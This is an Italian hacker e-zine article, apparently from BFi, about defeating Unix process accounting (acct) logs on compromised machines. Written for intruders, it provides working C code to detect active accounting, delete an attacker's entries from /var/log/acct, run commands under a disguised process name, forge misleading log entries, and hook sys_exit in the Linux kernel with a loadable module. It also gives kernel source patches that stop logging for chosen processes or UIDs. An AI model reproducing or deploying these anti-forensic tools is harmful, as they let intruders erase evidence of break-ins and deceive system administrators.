============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- -----------------------------------[ ACCT ]----------------------------------- --------------------------------[ bELFaghor ]--------------------------------- /* #include <sys/disclaimer.h> Questo articolo e' il risultato di un breve scambio epistolare avvenuto tra me e FuSyS. I 'meriti' di questo articolo volano pertanto anche a lui, che mi ha particolarmente incoraggiato nella scrittura di queste righe. A tale merito non dimentichiamo anche fratello SMaster. Si ricorda inoltre che l'articolo e' stato scritto a fini informativi ed educativi. Utilizzate le informazioni contenute come meglio credete. Nessuno di noi e' responsabile delle vostre azioni. */ In rima a tutti. Ancora una volta torniamo a parlare di LOG, ma questa volta toccheremo un argomento preso con le pinze da molti: ACCT. E come diceva FuSyS nell'articolo sui log in BFi2, "Questa puo' essere una brutta bestia". Vediamo di fargli vedere chi e' il piu' cattivo eheh. Per prima cosa, dove troviamo acct ? Beh acct e' un pacchetto a se' stante quindi potrebbe essere presente su qualunque sistema operativo unix like; posso dirvi pero' che lo troviamo in tutti i *BSD (l'ho trovato su NetBSD 1.3, FreeBSD 2.2.8 e OpenBSD 2.4) e probabilmente anche in tutte le distribuzioni di Linux (spesso non come pacchetto di default), ma non lo troviamo di serie nei SunOS 4.x e 5.x. Percio' sempre in guardia :) Questa brutta bestia logga, nel file specificato come argomento, tutti i comandi lanciati dagli utenti, siano essi utenti normali o root (solitamente il file in questione e' /var/log/pacct o /var/log/acct o percorsi simili - nella Debian 2.0r3 e' /var/account/pacct). Pecca di questo sistema di logging e' il fatto che viene loggato solamente l'argv[0] e non gli argomenti/parametri passati: e per noi e' una buona cosa :) eheh Il file contenente i log e' un file binario e per accedervi abbiamo bisogno di leggere/scrivere da una struct che lo rappresenta. Definita in acct.h, figura come segue: struct acct { char ac_comm[ACCT_COMM]; /* Accounting command name */ time_t ac_utime; /* Accounting user time */ time_t ac_stime; /* Accounting system time */ time_t ac_etime; /* Accounting elapsed time */ time_t ac_btime; /* Beginning time */ uid_t ac_uid; /* Accounting user ID */ gid_t ac_gid; /* Accounting group ID */ dev_t ac_tty; /* controlling tty */ char ac_flag; /* Accounting flag */ long ac_minflt; /* Accounting minor pagefaults */ long ac_majflt; /* Accounting major pagefaults */ long ac_exitcode; /* Accounting process exitcode */ }; I commenti mi sembrano di una chiarezza solare enucleando limpidamente il contenuto dei campi. Forse puo' apparire un po' oscuro il contenuto di ac_flag... Chiariamolo :) ... Viene, infatti, definito anch'esso in acct.h e appare come segue: #define AFORK 0001 /* has executed fork, but no exec */ #define ASU 0002 /* used super-user privileges */ #define ACORE 0004 /* dumped core */ #define AXSIG 0010 /* killed by a signal */ E direi che i commenti per ora sono esaustivi :) quindi possiamo passare avanti... Premettiamo che sia paranoico, quindi, per andare sul sicuro, anche se abbiamo spulciato tutto l'hard disk della nostra carissima vittima senza aver trovato nulla, mi assicurerei dell'assenza del pacchetto acct, attivo magari in una qualche zona occultata, con questo breve codice (sempre che il sysadm non si sia gia' prevenuto): ---------- snip ---------- /* stupid acct knocker */ #include <stdio.h> #include <unistd.h> #include <sys/acct.h> #define BLAME_PATH "blame_it_on_god" void main() { acct(BLAME_PATH); perror("acct"); } ---------- snip ---------- OK, che otteniamo? It's simple :) Se una volta lanciato, otterremo: "acct: No such file or directory" allora vorra' dire che acct non sta girando poiche' il nostro acct() ha tentato di attivarlo, ma senza riuscirci perche' il file 'blame' non esiste (!), mentre se avremo: "acct: Device or resource busy" allora vorra' dire che acct sta girando e loggando da qualche parte... Brutta cosa per noi :/ dovremo scovarlo... mmm volete un'idea? Provate a cercare file come 'lastcomm, dumpacct, sa, acctentries' or something like that e poi fargli un bel 'strings'; probabilmente troverete il percorso del file in cui vanno a finirie i log :)) Ma parliamo di acct() dato che ve l'ho gia' quasi presentata ;) La funzione e' presente in unistd.h - extern int acct __P ((__const char *__name)); - e vuole come argomento una char che rappresenta il file in cui INIZIARE a loggare; se lo poniamo a NULL acct termina di loggare. Nota che il file deve esistere per iniziare a loggare, altrimenti tornera' un bel "no such file", e nel caso in cui la dimensione del file e' diversa da 0 acct riprendera' a loggare dal punto in cui aveva terminato. Come valore di ritorno abbiamo, infine, un valore < 0 se la funzione non e' andata a buon fine, con l'errore posto in errno, altrimenti 0. Tale funzione viene, infatti, chiamata dal programma 'accton' per attivare o terminare il logging (puo' non essere sempre questo il programma da lanciare, ad esempio in SVr4 tale programma e' sostituito da /usr/lib/acct/startup). OK. Ora qualcuno potrebbe pensare: perche' non nascoderci con una memset() dei campi che ci interessano? ...Semplice :) proprio perche' non e' cosi' semplice :) Criptico ma ci siamo capiti eheh. Vediamo, infatti, nei prg che troviamo in "dotazione" nel pacchetto, del codice che non ci piace affatto... In dumpacct.c troviamo (e in acctentries.c qualcosa di simile): fprintf (stdout, "%-*.*s %5d %5hd %5hd %5d %5ld %5.2f %5.2f %.19s\n", ((int) sizeof (ac->ac_comm)), ((int) sizeof (ac->ac_comm)), ac->ac_comm, ac->ac_tty, ac->ac_uid, ac-> ac_gid, (int) ac->ac_flag, ac->ac_exitcode, (double) ac->ac_utime / (double) AHZ, (double) ac->ac_stime / (double) AHZ, ctime(&ac->ac_btime)); Quindi, qualsiasi sia il contenuto dei campi, sia esso NULL o 0, viene sempre e comunque stampato... :) Ovvero come farsi sgamare al primo colpo :) Cosi' non va... Allo stesso modo in lastcomm.c, altro prg in "dotazione" nel pacchetto, troviamo: if (acp->ac_comm[0] == '\0') (void)strcpy(acp->ac_comm, "?"); if (!isascii(*cp) || iscntrl(*cp)) *cp = '?'; Con queste quattro righe, ci frega nuovamente: infatti, se ac_comm e' NULL o e' un carattere di controllo oppure non e' un carattere ASCII, al campo ac_comm (contente il comando passato in shell) verra' assegnato un '?'; niente di piu' sgamabile. Siamo proprio fuori strada :/ Ma ci deve essere una soluzione... noi siamo i piu' cattivi :) Beh io, per iniziare, la metterei in questi termini (vedi codice); in seguito vedremo i problemi che si creano e come risolverli o evitarli. ---------- snip ---------- /* Xytaxehedron v0.1 "The Xytaxehedron held to the stars... the incantation uttered with eager tongues... (What long-shackled powers of the elder dark have our conjurings loosed?)" Startfire burning upon the ice-veiled throne of ultima thule, Bal Sagoth. coded by bELFaghor */ #include <stdio.h> #include <unistd.h> #include <sys/acct.h> #include <sys/types.h> #include <sys/param.h> #include <sys/stat.h> #include <fcntl.h> #include <pwd.h> #define ACF "/var/log/acct" void main(int argc, char *argv[]) { int fdin, fdout; struct acct akt; struct passwd *p; if(argc != 2) { printf("ERR. syntax:\t%s <user>.\n", argv[0]); exit(1); } if((p = getpwnam(argv[1])) == NULL) { perror("getpwnam"); exit(2); } if((fdin = open(ACF, O_RDONLY)) < 0) { perror("open acct"); exit(3); } if((fdout = open("fackt.tmp", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR)) < 0) { perror("open fackt.tmp"); exit(4); } while(read(fdin, &akt, sizeof(struct acct)) > 0) { if(akt.ac_uid != p->pw_uid) { write(fdout, &akt, sizeof(struct acct)); } } close(fdin); close(fdout); system("/bin/mv fackt.tmp /var/log/acct"); system("/bin/chmod 600 /var/log/acct"); printf("puff.\n"); } ---------- snip ---------- Bello no? :)) L'abbiamo fottuto alla grande eheh. Il codice come sempre mi sembra chiaro :) (beh direte... se non e' chiaro a te a chi dev'essere chiaro?!? ahahah avete ragione :P) Dai, con un man delle funzioni che non conoscete potete arrivarci :) In pratica cancelliamo TUTTE le entries in un determinato user. E qui arrivano le grane. Vediamo quali sono e come risolverle... Per prima cosa, come abbiamo detto, cancelliamo TUTTE le entries dell'user... e questo e' un male... dobbiamo cancellare SOLO le NOSTRE entries, non le altre :) desteremmo troppi sospetti altrimenti... Vediamo quindi i problemi che sorgono: 1. blocchiamo il funzionamento di acct 2. tutte le entries relative all'user vengono cancellate 3. riduciamo la dimensioni del file Punto 1 :) bisogna riavviare l'acct... quindi come spero avrete capito... alla fine del nostro codice ci mettiamo un bel: if (acct(NULL)) { perror("acct NULL"); exit(1); } if((acct(ACF)) < 0) { perror("acct ACF"); exit(1); } Ricordiamoci: prima dobbiamo disattivarlo per poi potere riattivarlo... :) Ma un altro problema ci rogna :/ avremo una nuova entry, ovvero quella dell'acct che e' stato riavviato, che visualizza il nome del nostro programma... Dobbiamo nasconderlo... :) aggiungiamo una strncpy() all'inizio del codice: strncpy(argv[0], "ls", 2); Sistemato :) Infatti non ci sono restrizioni per cambiare l'argv[0] :) chiunque puo' farlo ahah e quindi perche' non sfruttarlo ? :) Ricordatevi di non mettere un carattere nullo, altrimenti salterebbe tutto :) OK. La nostra entry apparira' circa cosi': *Comando* *Flag* *User* *TTY* **** TIME **** ls S root tty2 60 0.01 secs Tue Feb D HH:MM:SS Non male... Ma se il root non e' loggato??! Beh ci sara' quest'entry in piu' che potrebbe destare qualche sospetto :/ quindi, speriamo bene :) anche perche' non vedo il modo di ovviare a tale problema... se non intervenendo a livello di codice del kernel alterando il funzionamento della acct() oppure a livello di lkm :) Veniamo al punto 2: tutte le entries relative all'user vengono cancellate. Non mi sembra per niente una buona idea... almeno che non vogliamo essere sgamati... Come fare? Possiamo provare a togliere N log dall'ultimo relativi al nostro utente... ma in un sistema con diverse centinaia di utenti, dove magari il nostro utente e' loggato insieme a noi, sarebbe ben difficile riuscire a togliere quelli giusti... Un'alternativa che ricade pero' nello stesso impedimento e' quella di togliere i log in base a un determinato tempo/orario... oppure oppure togliere determinati comandi... La vedrei come una buona soluzione se pensiamo magari di implementare anche un block del logging... ma appunto BUONA, non ottimale... Infatti se facciamo girare un block a livello di software indipendente dal kernel, questo ci blocchera' tutte le entries... e il root potrebbe accorgersi che da un certo orario non ci sono stati log sebbene degli utenti fossero loggati nel sistema... Una questione dubbia :) ... Nel man di acct troviamo: "NOTES No accounting is produced for programs running when a crash occurs. In particular, nonterminating processes are never accounted for." No, non abbiamo risolto. Perche' o facciamo crashare il sistema operativo ogni volta che lanciamo un programma prima che abbia terminato oppure non facciamo terminare nessuno dei comandi che abbiamo lanciato: due assurdita'. Non pensate nemmeno a mandare un SIGABRT ai nostri programmi cattivi perche' ci sono le flag che ci fottono: l'entry viene cioe' ugualmente aggiunta e le vengono aggiunte le flag 0004 e 0010, ovvero 'dumped core' e 'killed by signal'... Beh che dirvi :) io una soluzione l'avrei... eheh sappiamo che acct logga il nostro comando, ma non i suoi argomenti... inizialmente pensai che scrivendo un breve codice che lanciasse il programma che volevo, potessi in tal modo eludere il logging... Cioe' come abbiamo visto prima, facendo una strcpy(argv[0], "ls");, faccio poi eseguire al mio codice il comando che voglio e cosi' sono mascherato... Soltanto che acct e' piu' furbo di noi... logga sia il codice che esegue il programma che il programma stesso (quello chiamato dalla system())... quindi se il mio programma si chiamasse PIPPO e lanciasse il programma PIPPA avrei un log del genere... pippa S root tty2 60 0.01 secs Tue Feb D HH:MM:SS pippo S root tty2 60 0.01 secs Tue Feb D HH:MM:SS (questo e' un output lastcomm like :) ma nel file di log le entry sono messe in maniera opposta :) In tal modo sembrerebbe che non ci siamo proprio :) ma non e' cosi'... Noi non sappiamo gestire acct perche' e' troppo variabile :) Beh cosi' una "costante", un punto di riferimento, l'abbiamo... ovvero il nostro PIPPO. Penso abbiate gia' capito :) Il tutto sta nel lanciare i comandi attraverso il nostro "interprete" PIPPO e poi cancellare i log con una versione IMPROVED :) di Xytaxehedron :) Dai arriviamo al codice :) premetto che e' possibile scriverlo in diversi modi... fork() e exec*() oppure popen() o anche system() :) Vedete voi ;) ---------- snip ---------- /* hydra v0.1 The Beuty in Darkness coded by bELFaghor */ #include <stdio.h> #include <unistd.h> void main(int argc, char *argv[]) { char buf[1024]; FILE *f; if(argc!=2) { printf("syntax:\t%s <command>\n", argv[0]); exit(1); } if((f = popen(argv[1], "w")) < 0) { perror("popen"); exit(1); } fflush(f); if((pclose(f) < 0) < 0) { perror("pclose"); exit(1); } } ---------- snip ---------- Questo codice esegue un comando che gli passate come argomento. Diciamo che effettua solo dei controlli minimali per mantere minima la sua dimensione... anzi se volete potreste anche togliere i costrutti if :) Ah un consiglio :) metteci come al solito una strcpy() magari con un comando verosimile, chesso' 'hostnames', in modo tale che, anche se non avete ancora cancellato i vostri log, non diano nell'occhio :) (o anche piu' semplicemente rinominate il vostro eseguibile ;) Ora veniamo all'altro codice, la versione IMPROVED, ovvero il codice che cancella le entry in cui in ac_comm compare HYDRA e la entry successiva, ovvero quello che in teoria, dovrebbe essere il comando eseguito da HYDRA: in teoria, perche' in un sistema in cui molti utenti sono loggati, POTREBBE non essere la vostra l'entry successiva :/ Quindi modificheremo il codice di Xytaxehedron in tal modo: #define KSTR "hydra" while(read(fdin, &akt, sizeof(struct acct)) > 0) { if(strcmp(akt.ac_comm, KSTR)) { write(fdout, &akt, sizeof(struct acct)); lseek(fdin, sizeof(struct acct), SEEK_CUR); } } E siamo CIRCA a posto :) Per finire ecco il codice contente le sopra citate migliorie: ---------- snip ---------- /* Xytaxehedron v0.1i (IMPROVED) "The Xytaxehedron held to the stars... the incantation uttered with eager tongues... (What long-shackled powers of the elder dark have our conjurings loosed?)" Startfire burning upon the ice-veiled throne of ultima thule, Bal Sagoth. coded by bELFaghor */ #include <stdio.h> #include <unistd.h> #include <sys/acct.h> #include <sys/types.h> #include <sys/param.h> #include <sys/stat.h> #include <fcntl.h> #include <pwd.h> #define ACF "/var/log/acct" #define KSTR "hydra" #define FN "ls" void main(int argc, char *argv[]) { int fdin, fdout; struct acct akt; strcpy(argv[0], FN); if((fdin = open(ACF, O_RDONLY)) < 0) { perror("open acct"); exit(3); } if((fdout = open("fackt.tmp", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR) { perror("open fackt.tmp"); exit(4); } while(read(fdin, &akt, sizeof(struct acct)) > 0) { if(strcmp(akt.ac_comm, KSTR)) { write(fdout, &akt, sizeof(struct acct)); lseek(fdin, sizeof(struct acct), SEEK_CUR); } } close(fdin); close(fdout); system("/bin/mv fackt.tmp /var/log/acct"); system("/bin/chmod 600 /var/log/acct"); printf("puff.\n"); if (acct(NULL)) { perror("acct NULL"); exit(1); } if((acct(ACF)) < 0) { perror("acct ACF"); exit(1); } } ---------- snip ---------- Come avrete spero visto e' stato rimosso il controllo dell'username; in tal modo cancelleremo tutte le 'nostre entry cattive' indifferentemente dall'user che le ha generate :) cosicche' se vogliamo utilizzare HYDRA anche da non root siamo liberi di farlo senza poi utilizzare due o piu' volte Xytaxehedron ;) cmq se volete reimplementarlo, a voi :) ACCT e' una gran brutta bestia, ma noi siamo peggio ;) Ora per i piu' cattivi e vendicativi :) ma anche per i piu' giocherelloni :) vediamo anche di scrivere del codice per modificare le entry e fare impazzire il root :) Questa volta senza scrivere e riscrivere il codice piu' volte, vediamo prima la parte 'teorica' e poi implementiamo il tutto :) Infatti la parte teorica, come d'altro canto anche la parte piu' strettamente 'pratica', e' abbastanza semplice e limitata :) Infatti, partiamo dalla considerazione teorica che in un sistema di logging come acct, in cui le entries sono davvero tante e complesse, anziche' andare a modificare le entry tanto vale aggiungerne :) Eheh gia' fatto... Passiamo quindi alla parte pratica: il codice :) ---------- snip ---------- /* Leipzig v0.1 This is a tribute to Dead, died by his own hands in April 1991. "Jag ar inte en manniska. Det har ar bara en drom, och snart vaknar jag. Det bar for kallt ech blodet lebrades hela tiden". coded by bELFaghor */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <acct.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pwd.h> /* see acct.h */ #define TCOMM "fuckyoug0d" #define TUSER "corpse" #define ACT "/var/log/acct" void main() { int fi; struct acct akt; struct passwd *p; if((fi = open(ACT, O_APPEND|O_WRONLY)) < 0) { perror("open"); exit(1); } if((p = getpwnam(TUSER)) == NULL) { perror("getpwnam"); exit(1); } memset(&akt, 0, sizeof(struct acct)); strcpy(akt.ac_comm, TCOMM); akt.ac_uid = p->pw_uid; akt.ac_gid = p->pw_gid; akt.ac_flag = ACORE; akt.ac_exitcode = 1; akt.ac_minflt = 1+(int) (10.0*rand()/(RAND_MAX+1.0)); akt.ac_majflt = 1+(int) (10.0*rand()/(RAND_MAX+1.0)); akt.ac_tty = 1028; akt.ac_utime = akt.ac_btime; akt.ac_stime = akt.ac_btime; if((write(fi, &akt, sizeof(struct acct))) < 0) { perror("write"); exit(1); } if(close(fi) < 0) { perror("close"); exit(1); } printf("done - %s written.\n", TCOMM); } ---------- snip ---------- Con questo codice aggiungiamo un'entry al file di log (direte: perche' solo una? Che poi, se vogliamo mettercene di piu', dobbiamo continuamente editare e compilare il codice? Semplice :) perche' questo e' un codice d'esempio che nella sua natura vuole mantenersi snello e non appesantirsi di una getopt() che prende argomenti alla linea di comando :)) Ho tralasciato la parte che riavvia l'acct... fate come meglio credete :) E state attenti alla flag (ac_flag :)... anche se non sembra, e' molto significativa... Vammi tu a spiegare perche' un utente normale che ha lanciato un semplice 'ls' ha la flag ASU (used super-user privileges) settata. Eheh siamo perfidi ahah. Infatti perche' non mettere la flag ACORE (dumped core) al comando 'sendmail'? Ahah :) mooolto perfidi :) ... Fate attenzione a lanciare anche questo programma con HYDRA cosicche' potrete poi cancellare la nuova entry che vi creera' :) Eheh lo so cosa state pensando :) il punto 3. Il punto 3 non me lo sono dimenticato... eccolo :P - l'unico caso in cui i sistemi con molti utenti ci sono d'aiuto :)) - Ricordatevi, infatti, che se l'amministratore di sistema mantiene un controllo sulle dimensioni del file di log, e si accorge che voi le state riducendo per togliere i vostri log... beh siete fatti :) perche' i file di log possono solo crescere, non diminuire :)) Anche se come dice Phreak Accident in PHRACK 43: "Most sysadmins don't pay real attention to the process logs, since they do tend to be rather large and grow fast. However, if they notice that a break-in has occurred, this is one of the primary places they will look for further evidence." E ancora un'ultima cosa :) come abbiamo visto, i sistemi nei quali acct e' un po' ostico da gestire sono quelli con molti utenti... Beh c'e' da dire pero' che difficilmente in tali sistemi l'acct logging serve a qualche cosa per l'admin, sempre escludendo la clausola sopra citata da Phreak Accident :) Ora vediamo come potremmo risolvere la cosa sfruttando, invece, il kernel di Linux: quanto segue e' percio' inerente solo ad un hack in ambiente Linux ed e' stato per voi testato solo sul Kernel 2.0.36... meditate ragazzi, meditate :) . Come abbiamo detto in precedenza, due sono le vie da percorrere: o sfruttare un LKM, ovvero un Loadable Kernel Modules, oppure intaccare il kernel vero e proprio a livello dei sorgenti. Vediamole. Innanzitutto dobbiamo vedere come il kernel gestisce il logging: in /usr/src/linux/kernel/sys.c troviamo la ormai famosa int sys_acct(const char *name), ma, come dovreste sapere, questa non e' la funzione che ci interessa. Infatti, molto piu' interessante e' int acct_process(long exitcode) che trovate poco piu' sopra e che gestisce il logging vero e proprio; sfortunatamente non e' una system call che possiamo modificare con un LKM, MA da qualche parte in una sys_call sara' pur chiamata :) Infatti, se spulciate per benino, troverete che viene chiamata da void do_exit(long code) in /usr/src/linux/kernel/exit.c che, sebbene non sia una sys_call, viene chiamata a sua volta, poco piu' sotto, da int sys_exit(int error_code) che e' una chiamata di sistema :) quindi modificabile. Percio' non dobbiamo fare altro che alterare il funzionamento della sys_exit e plasmare, per quello che ci viene concesso, i log. Ecco il codice: ---------- snip ---------- /* Obscura Mens v0.1 - coded by bELFaghor - Thanks to FuSyS for idea "I wanna be a good boy", Ramones. . Compile it as following: gcc -O6 -Wall -DCONFIG_KERNELD -DMODULE -D__KERNEL__ -DLINUX -c obme.c . Insert and remove this module as following: insmod obme; rmmod obme */ #include <linux/kernel.h> #include <linux/module.h> #include <sys/syscall.h> #include <linux/sched.h> #define HCOMM "xyta" #define HUID 1000 #define HGID 100 extern void *sys_call_table[]; char *fhole[] = { "I", "wanna", "be", "a", "good", "boy" }; int i = 0; asmlinkage int (*original_call) (long); asmlinkage int our_sys_exit(long code) { if(i > 5) { i = 0; } if(!(strcmp(current->comm, HCOMM))) { strcpy(current->comm, fhole[i++]); current->uid = HUID; current->gid = HGID; current->exit_code = 0; if((HUID != 0) && (current->flags & PF_SUPERPRIV)) { current->flags ^= PF_SUPERPRIV; } return original_call(0); } return original_call(code); } int init_module() { original_call = sys_call_table[SYS_exit]; sys_call_table[SYS_exit] = our_sys_exit; return 0; } void cleanup_module() { if(sys_call_table[SYS_exit] != our_sys_exit) { printk("shit something goes wrong :/\n"); } sys_call_table[SYS_exit] = original_call; } ---------- snip ---------- Questo codice, oltre ad essere uno spunto per svariate implementazioni, serve a modificare l'entry generata da Xytaxehedron quando riavviava il logging chiamando acct(), e piu' precisamente ogni volta che viene generato un log con ac_comm == xyta , lo sostituira' con le informazioni che vorremo cosi' da mascherarlo. L'array fhole contiene i campi che mano a mano sostituiranno le varie entries, mentre HUID e HGID definiscono rispettivamente l'UID e il GID che acquistera' la nuova entry mascherata: cambiateli con un utente che e' loggato nel sistema, cosicche' sembri una sua entry, altrimenti sarebbe ingiustificata. Allo stesso modo potreste implementare del codice per mascherare insmod/rmmod, cioe' quando inserite e rimuovete il modulo :) E per darvi un'altra idea, e non prepararvi sempre la pappetta, perche' non codare un LKM "intelligente" in grado di segliere che uid/gid settare in base agli utenti loggati nel sistema cosi' da mascherare sempre meglio le nuove entries? Ora, invece, vediamo come potremmo modificare il codice sorgente del kernel; premetto che quanto segue e' frutto della mia esperienza sul codice del 2.0.36 e NON posso quindi garantire che funzioni anche in altre versioni; ma in linea di massima ci siamo. Da dire e' anche che un alterazione del sistema di questo tipo e' molto difficile da praticare in remoto e che e' quindi un'implementazione quasi 'only 4 phun' o per quanti possono 'attaccare' una macchina a cui hanno accesso fisicamente :) Beh, ora non ci sono molti problemi: possiamo toccare quello che vogliamo :) Quindi modifichiamo direttamente la int acct_process(long exitcode) in /usr/src/linux/kernel/sys.c ;) Ad esempio potremmo modificare la funzione come segue: : int acct_process(long exitcode) { struct acct ac; unsigned short fs; /* add this */ if(!(strcmp(current->comm, "hydra"))) { return 0; } /* end add */ : : In questo modo ogni qual volta comm sara' uguale a 'hydra' l'entry non sara' generata. Oppure se avessimo un nostro acconto personale e legale potremmo fare un check basato sull'UID del tipo: if(current->uid == 1000) { return 0; } Se cioe' il nostro uid e' 1000, la fuzione ritornera' subito, cosi' da non inserire alcuna entry. Ma non sarebbe giustificato il fatto che vi siano dei log magari in utmp/wtmp/etc etc e non in acct. Beh, le soluzioni sono molte :) ve ne presento una, semplice e concisa: if((current->uid == 1000) && (strlen(current->comm) == 18) { return 0; } Potremmo cosi' rinominare i nostri file cattivi in modo tale che la loro lunghezza sia di 18 (!?! eheh 6+6+6 :) caratteri e non saranno mai loggati :P Poi fate come volete, ve l'ho detto, le soluzioni sono molteplici :) Credo di avere finito :) Ora traete voi le conclusioni... ho voglia solo di dire una cosa... IMHO, questo articolo e' un inno alla gestione ottimale dei vari log per gli admin... admin con le palle non fate finta di non avere capito quello a cui alludo, beh siete delle capre di sysadm... e se siete smanettoni... a voi l'ardua sentenza :))) ave atque vale. .bELFaghor VampErotic Daem0n. --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================